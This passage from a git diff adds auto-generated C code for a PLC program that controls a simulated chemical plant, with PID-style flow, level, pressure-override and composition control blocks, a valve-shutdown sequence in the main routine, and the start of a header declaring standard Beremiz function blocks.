__SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + 